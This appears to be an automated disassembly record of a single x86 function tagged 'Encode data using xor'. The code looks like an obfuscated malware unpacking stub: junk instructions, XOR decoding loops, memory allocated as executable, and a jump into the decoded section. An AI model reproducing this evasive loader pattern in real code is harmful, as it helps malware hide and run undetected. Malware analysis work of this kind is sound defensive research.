Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfdc7108e
sub eax, edx
sub eax, edx
or edx, eax
popal
sub edx, 0xcd5b7795
inc edx
add eax, eax
mov eax, 0
mov ebx, edx
dec ecx
mov edi, ecx
mov esi, ebx
add ecx, edi
add edi, 0xe8879c9b
inc edi
mov edx, esi
add ecx, edi
add edi, edi
add edi, ecx
inc eax
or ecx, ecx
sub edi, 0x59c33c26
cmp eax, 0x1005eb4
jne 0xa789c7
add edi, ecx
and ecx, ecx
not edi
and edx, edx
sub eax, 0x76dfdbac
mov ebx, 0xa78796
and eax, eax
mov eax, 0x720a3bf4
mov edi, 0xa7898a
dec edx
mov edx, ecx
sub ecx, eax
mov esi, dword [ebx]
add eax, ecx
mov eax, edx
and esi, 0xff
mov eax, 0x1a8e34e3
add eax, edx
xor dword [edi], esi
mov eax, ecx
not edx
mov ecx, 0x94b0d6fb
add edi, 1
mov edx, 0x54dc6d97
mov ecx, eax
inc ecx
inc ebx
add edx, edx
not edx
cmp edi, entry0
jl 0xa78a18
add eax, ecx
mov edx, 0x95eb12d0
or edx, edx
and ecx, eax
mov edx, 0x3857430a
sub ebx, 0x8bfcdfa9
mov edx, ecx
add ebx, 0xf975bb7c
mov esi, 0xa7898e
and ebx, ebx
dec ecx
mov esi, dword [esi]
inc ebx
not edx
mov ebx, ecx
mov esi, dword [esi]
or edi, ebx
mov edx, edi
push esi
add edi, ecx
sub ecx, 0xee4e518f
mov esi, 0xa7898a
sub edx, ebx
mov edx, 0xb1d627b6
mov esi, dword [esi]
not edi
sub ecx, edi
mov esi, dword [esi]
mov edx, ebx
mov edi, ecx
inc ecx
push 0xa78992
sub ebx, 0x3e0a165f
add ecx, edx
add ebx, ebx
call esi
add edx, 0x844300ca
sub ebx, edx
add edi, 1
mov esi, dword [esp]
add esp, 4
add ecx, 0x7580d0a
add ecx, 0xaf44a440
not edx
push 0xa7899f
mov edx, 0xd44f4800
add ecx, ecx
or ecx, ecx
push eax
mov ecx, 0x5e5df409
not edx
call esi
mov edi, 0x154c58d7
dec edx
sub esp, 4
mov dword [esp], 0x40
add ebx, edi
sub edx, ebx
add ebx, ecx
push 0x3000
or ecx, edi
add edx, 1
sub edi, ecx
sub esp, 4
mov dword [esp], 0x2000011a
and ecx, ebx
or edx, edx
push 0
or ecx, ebx
and ebx, ebx
sub edi, ecx
call eax
and ecx, ebx
and ecx, ebx
add eax, 0x2000008d
not ecx
add ecx, ecx
mov esi, 0x80ab1d1d
sub ebx, edi
mov edi, 0x935da0c5
mov dword [eax], esi
inc edi
not ebx
mov esi, dword [eax]
add edi, edx
add edi, ecx
not ebx
cmp esi, 0x80ab1d1d
je 0xa78b6b
mov ebx, 0
mov edx, dword [ebx]
and edi, ecx
not ecx
inc edx
mov ecx, 0xf83d0b83
add edx, eax
not eax
add eax, 0xef4b0083
mov ecx, section..reltc
sub eax, 1
not edx
mov ebx, 0xa78795
sub eax, edx
mov edx, 0x33020c49
mov esi, 0
mov eax, 0x7cec550d
sub edx, 0xc978067f
mov edi, 0xa78796
sub eax, edx
not eax
lea edi, [esi + edi]
mov edx, eax
sub edx, eax
sub edx, 1
mov edi, dword [edi]
sub eax, edx
and edx, edx
and edi, 0xff
not eax
add edx, 0xbad62786
not edx
add esi, 1
sub edx, 0x8d74aee4
mov edx, eax
cmp esi, 0x1f4
jne 0xa78bef
mov esi, 0
mov eax, edx
not edx
dec eax
sub eax, 1
add eax, 1
xor dword [ecx], edi
sub edx, eax
mov edx, 0xea98f234
add edx, edx
add ecx, 2
or edx, eax
inc edx
cmp ecx, ebx
jl 0xa78ba8
dec eax
mov eax, 0xa6b791e8
mov eax, edx
sub eax, 0xd5a91b44
sub eax, 1
mov esi, section..reltc
mov edx, eax
add edx, eax
mov edi, section..reltc
not edx
add edx, 0x2bb8cdff
mov ebx, 0xa78795
mov edx, 0xbaf85c83
not edx
or eax, edx
mov ecx, 0
sub eax, 1
sub eax, edx
mov cl, byte [edi]
add edx, eax
sub edx, 0x213c9caf
add edx, 0xab01d775
mov byte [esi], cl
add eax, 0xb8d932e4
sub edx, 0x3a0ab334
sub eax, edx
inc esi
mov edx, eax
sub eax, 0x82d385fa
or eax, edx
add edi, 2
and eax, eax
inc edx
and eax, eax
cmp edi, ebx
jle 0xa78c61
mov edx, eax
mov edx, 0xc51de5f5
not edx
sub edx, eax
add edx, 0xf81eaffc
push 0x8dc6a0
sub edx, 0xaccebe22
dec eax
add edx, 1
ret